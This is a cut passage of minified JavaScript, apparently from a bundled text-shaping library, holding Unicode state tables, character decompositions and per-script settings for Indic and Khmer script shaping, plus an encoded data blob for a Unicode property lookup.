],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[&quot;standalone_cluster&quot;],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[&quot;standalone_cluster&quot;],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;symbol_cluster&quot;],[&quot;symbol_cluster&quot;],[&quot;symbol_cluster&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[],[],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[],[&quot;broken_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[&quot;standalone_cluster&quot;],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[&quot;broken_cluster&quot;],[],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;symbol_cluster&quot;],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[],[],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[],[],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[],[],[],[&quot;broken_cluster&quot;],[],[&quot;standalone_cluster&quot;],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[],[],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[],[],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[],[],[],[&quot;consonant_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[],[],[],[&quot;vowel_syllable&quot;],[],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[],[],[],[&quot;standalone_cluster&quot;],[],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[],[],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[],[],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[],[],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[&quot;standalone_cluster&quot;],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[],[],[],[],[],[],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[],[],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[],[],[],[],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[&quot;consonant_syllable&quot;,&quot;broken_cluster&quot;],[],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;standalone_cluster&quot;],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[],[],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[],[&quot;consonant_syllable&quot;],[&quot;consonant_syllable&quot;],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[],[&quot;vowel_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;broken_cluster&quot;],[&quot;standalone_cluster&quot;],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[&quot;standalone_cluster&quot;],[&quot;standalone_cluster&quot;],[],[&quot;consonant_syllable&quot;],[&quot;vowel_syllable&quot;],[&quot;standalone_cluster&quot;]]}&#039;);var X4={};X4=JSON.parse(&#039;{&quot;categories&quot;:[&quot;O&quot;,&quot;IND&quot;,&quot;S&quot;,&quot;GB&quot;,&quot;B&quot;,&quot;FM&quot;,&quot;CGJ&quot;,&quot;VMAbv&quot;,&quot;VMPst&quot;,&quot;VAbv&quot;,&quot;VPst&quot;,&quot;CMBlw&quot;,&quot;VPre&quot;,&quot;VBlw&quot;,&quot;H&quot;,&quot;VMBlw&quot;,&quot;CMAbv&quot;,&quot;MBlw&quot;,&quot;CS&quot;,&quot;R&quot;,&quot;SUB&quot;,&quot;MPst&quot;,&quot;MPre&quot;,&quot;FAbv&quot;,&quot;FPst&quot;,&quot;FBlw&quot;,&quot;null&quot;,&quot;SMAbv&quot;,&quot;SMBlw&quot;,&quot;VMPre&quot;,&quot;ZWNJ&quot;,&quot;ZWJ&quot;,&quot;WJ&quot;,&quot;M&quot;,&quot;VS&quot;,&quot;N&quot;,&quot;HN&quot;,&quot;MAbv&quot;],&quot;decompositions&quot;:{&quot;2507&quot;:[2503,2494],&quot;2508&quot;:[2503,2519],&quot;2888&quot;:[2887,2902],&quot;2891&quot;:[2887,2878],&quot;2892&quot;:[2887,2903],&quot;3018&quot;:[3014,3006],&quot;3019&quot;:[3015,3006],&quot;3020&quot;:[3014,3031],&quot;3144&quot;:[3142,3158],&quot;3264&quot;:[3263,3285],&quot;3271&quot;:[3270,3285],&quot;3272&quot;:[3270,3286],&quot;3274&quot;:[3270,3266],&quot;3275&quot;:[3270,3266,3285],&quot;3402&quot;:[3398,3390],&quot;3403&quot;:[3399,3390],&quot;3404&quot;:[3398,3415],&quot;3546&quot;:[3545,3530],&quot;3548&quot;:[3545,3535],&quot;3549&quot;:[3545,3535,3530],&quot;3550&quot;:[3545,3551],&quot;3635&quot;:[3661,3634],&quot;3763&quot;:[3789,3762],&quot;3955&quot;:[3953,3954],&quot;3957&quot;:[3953,3956],&quot;3958&quot;:[4018,3968],&quot;3959&quot;:[4018,3953,3968],&quot;3960&quot;:[4019,3968],&quot;3961&quot;:[4019,3953,3968],&quot;3969&quot;:[3953,3968],&quot;6971&quot;:[6970,6965],&quot;6973&quot;:[6972,6965],&quot;6976&quot;:[6974,6965],&quot;6977&quot;:[6975,6965],&quot;6979&quot;:[6978,6965],&quot;69934&quot;:[69937,69927],&quot;69935&quot;:[69938,69927],&quot;70475&quot;:[70471,70462],&quot;70476&quot;:[70471,70487],&quot;70843&quot;:[70841,70842],&quot;70844&quot;:[70841,70832],&quot;70846&quot;:[70841,70845],&quot;71098&quot;:[71096,71087],&quot;71099&quot;:[71097,71087]},&quot;stateTable&quot;:[[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[2,2,3,4,4,5,0,6,7,8,9,10,11,12,13,14,15,16,0,17,18,11,19,20,21,22,0,0,0,23,0,0,2,0,0,24,0,25],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,27,28,0,0,0,0,0,27,0,0,0],[0,0,0,0,0,29,0,30,31,32,33,34,35,36,37,38,39,40,0,0,41,35,42,43,44,45,0,0,0,46,0,0,0,0,39,0,0,47],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,5,0,6,7,0,0,0,0,0,0,14,0,0,0,0,0,0,0,20,21,22,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,5,0,0,7,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,21,22,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,5,0,6,7,8,9,0,0,12,0,14,0,0,0,0,0,0,0,20,21,22,0,0,0,23,0,0,0,0,0,0,0,0],[0,0,0,0,0,5,0,6,7,0,9,0,0,0,0,14,0,0,0,0,0,0,0,20,21,22,0,0,0,23,0,0,0,0,0,0,0,0],[0,0,0,0,0,5,0,6,7,8,9,10,11,12,13,14,0,16,0,0,18,11,19,20,21,22,0,0,0,23,0,0,0,0,0,0,0,25],[0,0,0,0,0,5,0,6,7,8,9,0,11,12,0,14,0,0,0,0,0,0,0,20,21,22,0,0,0,23,0,0,0,0,0,0,0,0],[0,0,0,0,0,5,0,6,7,0,9,0,0,12,0,14,0,0,0,0,0,0,0,20,21,22,0,0,0,23,0,0,0,0,0,0,0,0],[0,0,0,0,18,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,5,0,0,7,0,0,0,0,0,0,14,0,0,0,0,0,0,0,20,21,22,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,5,0,6,7,8,9,10,11,12,13,14,15,16,0,0,18,11,19,20,21,22,0,0,0,23,0,0,0,0,0,0,0,25],[0,0,0,0,0,5,0,6,7,8,9,0,11,12,0,14,0,0,0,0,0,11,0,20,21,22,0,0,0,23,0,0,0,0,0,0,0,0],[0,0,0,4,4,5,0,6,7,8,9,10,11,12,13,14,15,16,0,0,18,11,19,20,21,22,0,0,0,23,0,0,0,0,0,0,0,25],[0,0,0,0,0,5,0,6,7,8,9,48,11,12,13,14,48,16,0,0,18,11,19,20,21,22,0,0,0,23,0,0,0,0,49,0,0,25],[0,0,0,0,0,5,0,6,7,8,9,0,11,12,0,14,0,16,0,0,0,11,0,20,21,22,0,0,0,23,0,0,0,0,0,0,0,25],[0,0,0,0,0,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,21,22,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,21,22,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,5,0,6,7,0,0,0,0,0,0,14,0,0,0,0,0,0,0,20,21,22,0,0,0,23,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,50,0,51,0],[0,0,0,0,0,5,0,6,7,8,9,0,11,12,0,14,0,16,0,0,0,11,0,20,21,22,0,0,0,23,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,27,28,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,29,0,30,31,0,0,0,0,0,0,38,0,0,0,0,0,0,0,43,44,45,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,29,0,0,31,0,0,0,0,0,0,0,0,0,0,0,0,0,0,43,44,45,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,29,0,30,31,32,33,0,0,36,0,38,0,0,0,0,0,0,0,43,44,45,0,0,0,46,0,0,0,0,0,0,0,0],[0,0,0,0,0,29,0,30,31,0,33,0,0,0,0,38,0,0,0,0,0,0,0,43,44,45,0,0,0,46,0,0,0,0,0,0,0,0],[0,0,0,0,0,29,0,30,31,32,33,34,35,36,37,38,0,40,0,0,41,35,42,43,44,45,0,0,0,46,0,0,0,0,0,0,0,47],[0,0,0,0,0,29,0,30,31,32,33,0,35,36,0,38,0,0,0,0,0,0,0,43,44,45,0,0,0,46,0,0,0,0,0,0,0,0],[0,0,0,0,0,29,0,30,31,0,33,0,0,36,0,38,0,0,0,0,0,0,0,43,44,45,0,0,0,46,0,0,0,0,0,0,0,0],[0,0,0,0,41,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,29,0,0,31,0,0,0,0,0,0,38,0,0,0,0,0,0,0,43,44,45,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,29,0,30,31,32,33,34,35,36,37,38,39,40,0,0,41,35,42,43,44,45,0,0,0,46,0,0,0,0,0,0,0,47],[0,0,0,0,0,29,0,30,31,32,33,0,35,36,0,38,0,0,0,0,0,35,0,43,44,45,0,0,0,46,0,0,0,0,0,0,0,0],[0,0,0,0,0,29,0,30,31,32,33,52,35,36,37,38,52,40,0,0,41,35,42,43,44,45,0,0,0,46,0,0,0,0,53,0,0,47],[0,0,0,0,0,29,0,30,31,32,33,0,35,36,0,38,0,40,0,0,0,35,0,43,44,45,0,0,0,46,0,0,0,0,0,0,0,47],[0,0,0,0,0,29,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,43,44,45,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,29,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,44,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,29,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,44,45,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,29,0,30,31,0,0,0,0,0,0,38,0,0,0,0,0,0,0,43,44,45,0,0,0,46,0,0,0,0,0,0,0,0],[0,0,0,0,0,29,0,30,31,32,33,0,35,36,0,38,0,40,0,0,0,35,0,43,44,45,0,0,0,46,0,0,0,0,0,0,0,0],[0,0,0,0,0,5,0,6,7,8,9,48,11,12,13,14,0,16,0,0,18,11,19,20,21,22,0,0,0,23,0,0,0,0,0,0,0,25],[0,0,0,0,0,5,0,6,7,8,9,48,11,12,13,14,48,16,0,0,18,11,19,20,21,22,0,0,0,23,0,0,0,0,0,0,0,25],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,51,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,54,0,0],[0,0,0,0,0,29,0,30,31,32,33,52,35,36,37,38,0,40,0,0,41,35,42,43,44,45,0,0,0,46,0,0,0,0,0,0,0,47],[0,0,0,0,0,29,0,30,31,32,33,52,35,36,37,38,52,40,0,0,41,35,42,43,44,45,0,0,0,46,0,0,0,0,0,0,0,47],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,50,0,51,0]],&quot;accepting&quot;:[false,true,true,true,true,true,true,true,true,true,true,true,true,false,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true],&quot;tags&quot;:[[],[&quot;broken_cluster&quot;],[&quot;independent_cluster&quot;],[&quot;symbol_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;numeral_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;independent_cluster&quot;],[&quot;symbol_cluster&quot;],[&quot;symbol_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;virama_terminated_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;broken_cluster&quot;],[&quot;numeral_cluster&quot;],[&quot;number_joiner_terminated_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;standard_cluster&quot;],[&quot;numeral_cluster&quot;]]}&#039;);const Gn={X:1,C:2,V:4,N:8,H:16,ZWNJ:32,ZWJ:64,M:128,Placeholder:2048,Dotted_Circle:4096,RS:8192,Coeng:16384,Repha:32768,Ra:65536,CM:131072},ln={Start:1,Ra_To_Become_Reph:2,Pre_M:4,Pre_C:8,Base_C:16,After_Main:32,Before_Sub:128,Below_C:256,After_Sub:512,Before_Post:1024,Post_C:2048,After_Post:4096,Final_C:8192,SMVD:16384,End:32768},wye=Gn.C|Gn.Ra|Gn.CM|Gn.V|Gn.Placeholder|Gn.Dotted_Circle,tq=Gn.ZWJ|Gn.ZWNJ,Zx=Gn.H|Gn.Coeng,LT={Default:{hasOldSpec:!1,virama:0,basePos:&quot;Last&quot;,rephPos:ln.Before_Post,rephMode:&quot;Implicit&quot;,blwfMode:&quot;Pre_And_Post&quot;},Devanagari:{hasOldSpec:!0,virama:2381,basePos:&quot;Last&quot;,rephPos:ln.Before_Post,rephMode:&quot;Implicit&quot;,blwfMode:&quot;Pre_And_Post&quot;},Bengali:{hasOldSpec:!0,virama:2509,basePos:&quot;Last&quot;,rephPos:ln.After_Sub,rephMode:&quot;Implicit&quot;,blwfMode:&quot;Pre_And_Post&quot;},Gurmukhi:{hasOldSpec:!0,virama:2637,basePos:&quot;Last&quot;,rephPos:ln.Before_Sub,rephMode:&quot;Implicit&quot;,blwfMode:&quot;Pre_And_Post&quot;},Gujarati:{hasOldSpec:!0,virama:2765,basePos:&quot;Last&quot;,rephPos:ln.Before_Post,rephMode:&quot;Implicit&quot;,blwfMode:&quot;Pre_And_Post&quot;},Oriya:{hasOldSpec:!0,virama:2893,basePos:&quot;Last&quot;,rephPos:ln.After_Main,rephMode:&quot;Implicit&quot;,blwfMode:&quot;Pre_And_Post&quot;},Tamil:{hasOldSpec:!0,virama:3021,basePos:&quot;Last&quot;,rephPos:ln.After_Post,rephMode:&quot;Implicit&quot;,blwfMode:&quot;Pre_And_Post&quot;},Telugu:{hasOldSpec:!0,virama:3149,basePos:&quot;Last&quot;,rephPos:ln.After_Post,rephMode:&quot;Explicit&quot;,blwfMode:&quot;Post_Only&quot;},Kannada:{hasOldSpec:!0,virama:3277,basePos:&quot;Last&quot;,rephPos:ln.After_Post,rephMode:&quot;Implicit&quot;,blwfMode:&quot;Post_Only&quot;},Malayalam:{hasOldSpec:!0,virama:3405,basePos:&quot;Last&quot;,rephPos:ln.After_Main,rephMode:&quot;Log_Repha&quot;,blwfMode:&quot;Pre_And_Post&quot;},Khmer:{hasOldSpec:!1,virama:6098,basePos:&quot;First&quot;,rephPos:ln.Ra_To_Become_Reph,rephMode:&quot;Vis_Repha&quot;,blwfMode:&quot;Pre_And_Post&quot;}},Eye={6078:[6081,6078],6079:[6081,6079],6080:[6081,6080],6084:[6081,6084],6085:[6081,6085]},{decompositions:Cye}=V4(X4),rq=new by(oB(&quot;AAARAAAAAABg2AAAAWYPmfDtnXuMXFUdx+/uzs7M7szudAtECGJRIMRQbUAithQWkGAKiVhNpFVRRAmIQVCDkDYICGotIA9BTCz8IeUviv7BQ2PBtBIRLBBQIWAUsKg1BKxRAqIgfs/cc+aeOXPej3tnZX7JJ/dxzj3nd36/8753Z5fUsuxgsAwcAU4Gp4BPgM+Cd4P3RjieDs4GXwLrHJ5bDy4DG8A14LvgZrAZbAF3gns0z18ALgY/B78C94NHwBPgabAE/AX8DbwM5sF/QX0yD5vFcU/wVnAgWAoOAyvAceBE8CGwBpwGzgJfAF8BXwXfAFeC68EmsBlsAXeCreA+8CB4DDwF/gh2gd3gFfAGmKxn2QzYC+wHDgRLweFgJTgWrKrnuq/GcQ04jV6fheN54EJwEbgcXAG+Q8O/j+Mt4DZwB9haz8t9Hz3a8iCN/xiOvwRP0evH6fE68AzOH+Ke2eWYhw3PcGnuxvkr4A3QaGRZB7wFLAEHg2XgiEZ/fHKcp/ceBh/A+cngFPCpRm6vM3E8l8a5gN67GMdvgqsbeX2ap9yI601gM7gN3AG20mfuo8cdOP6GpvdUg9oKxz839GV90RDO2/glxN1B790NXsN1rZll7WYRdw+c70uvTwIHNAfTO0RyL5TDmnnbc3lmRQI9UnM0dD5eovfz4FpJ/BNpXNYWV+N6Lfg0hY97JK1vn+Pur9DoQur2F7m436bHDUK8C5t5/8vruo4+97WmXG+GLmzEiBF+PDwEOowYMWLEiBEjRoxYeBw5BDqIPEfXut9yWN+vVNxfrnnmWqR/PdgENoMt